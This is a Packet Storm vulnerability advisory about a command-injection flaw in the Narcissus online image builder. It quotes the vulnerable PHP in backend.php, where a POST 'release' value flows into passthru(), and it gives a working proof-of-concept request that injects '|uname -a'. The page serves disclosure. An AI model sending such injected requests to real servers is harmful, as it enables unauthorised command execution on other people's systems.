exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Narcissus Remote Command Execution

Narcissus Remote Command Execution
Posted Nov 15, 2012
Authored by dun

Narcissus online image builder suffers from a remote command execution vulnerability.

tags | exploit, remote
SHA-256 | 1e7e866c2471ee4f3e78a4cbfbe1c015cc3162c100922051cb553dfb05ba2c43

Narcissus Remote Command Execution

Change Mirror Download
:::::::-.   ...    ::::::.    :::.
;;, `';, ;; ;;;`;;;;, `;;;
`[[ [[[[' [[[ [[[[[. '[[
$$, $$$$ $$$ $$$ "Y$c$$
888_,o8P'88 .d888 888 Y88
MMMMP"` "YmmMMMM"" MMM YM

[ Discovered by dun \ posdub[at]gmail.com ]
[ 2012-11-13 ]
##########################################################
# [ Narcissus ] Remote Command Execution Vulnerability #
##########################################################
#
# Script: "Narcissus - Online image builder for the angstrom distribution"
#
# Vendor: http://www.angstrom-distribution.org/
# Download: https://github.com/Angstrom-distribution/narcissus
#
# Vendor was informed some time ago, but did not respond yet.
#
##########################################################
#
# [ Remote Command Execution ]
#
# File: /narcissus/backend.php ( lines: 10-183 ):
# ..cut..
# if (isset($_POST["action"]) && $_POST["action"] != "") {
# $action = $_POST["action"]; // 1
# } else {
# print "Invalid action: $action";
# exit;
# }
#
# if (isset($_POST["machine"])) {
# $machine = escapeshellcmd(basename($_POST["machine"])); // 2
# } else {
# print "Invalid machine";
# exit;
# }
# ..cut..
# if (isset($_POST["release"]) && $_POST["release"] != "") {
# $release = $_POST["release"]; // 3
# } else {
# $release = "stable";
# }
# ..cut..
# switch($action) {
# ..cut..
# case "configure_image": // 4
# print "configuring\n";
# configure_image($machine, $name, $release); // 5
# break;
# ..cut..
# function configure_image($machine, $name, $release) {
# print "Machine: $machine, name: $name\n";
# passthru ("scripts/configure-image.sh $machine $name-image $release && exit"); // 6 [RCE]
# }
# ..cut..
#
# Vuln:
# http://localhost/narcissus/backend.php
#
# POST /narcissus/backend.php HTTP/1.1
# Host: localhost
# User-Agent: Mozilla/5.0 Gecko/20100101 Firefox/16.0
# Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
# Accept-Language: pl,en-us;q=0.7,en;q=0.3
# Accept-Encoding: gzip, deflate
# Connection: keep-alive
# Content-Type: application/x-www-form-urlencoded
# Content-Length: 50
# machine=0&action=configure_image&release=|uname -a
#
### [ dun / 2012 ] #######################################

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close